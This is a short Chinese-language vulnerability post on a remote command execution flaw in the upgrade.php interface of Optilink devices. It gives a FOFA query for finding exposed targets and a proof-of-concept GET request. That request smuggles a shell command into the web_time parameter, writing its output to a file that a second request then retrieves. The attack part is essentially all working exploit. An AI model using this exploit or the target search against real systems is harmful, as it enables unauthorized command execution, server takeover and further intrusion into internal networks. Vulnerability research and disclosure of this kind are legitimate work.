Optilink upgrade.php 命令执行漏洞

共计 358 个字符，预计需要花费 1 分钟才能阅读完成。

漏洞概述

Optilink upgrade.php 接口存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。

搜索引擎

FOFA:

body="/html/css/dxtdata.css"

漏洞复现

POC:

GET /cgi/fsystem/upgrade.php?time=1&web_time=;ifconfig>upload.txt; HTTP/1.1 
Host  :
User-Agent:-Mozi1la/5.0-(Cent05;-Linux-i686)-ApplellebKit/537.36-(KHTML,-1ike-Gecko)-Chrome/118.0.0.0-Safari/537.36 
Accept-Encoding: gzip

GET /cgi/fsystem/upload.txt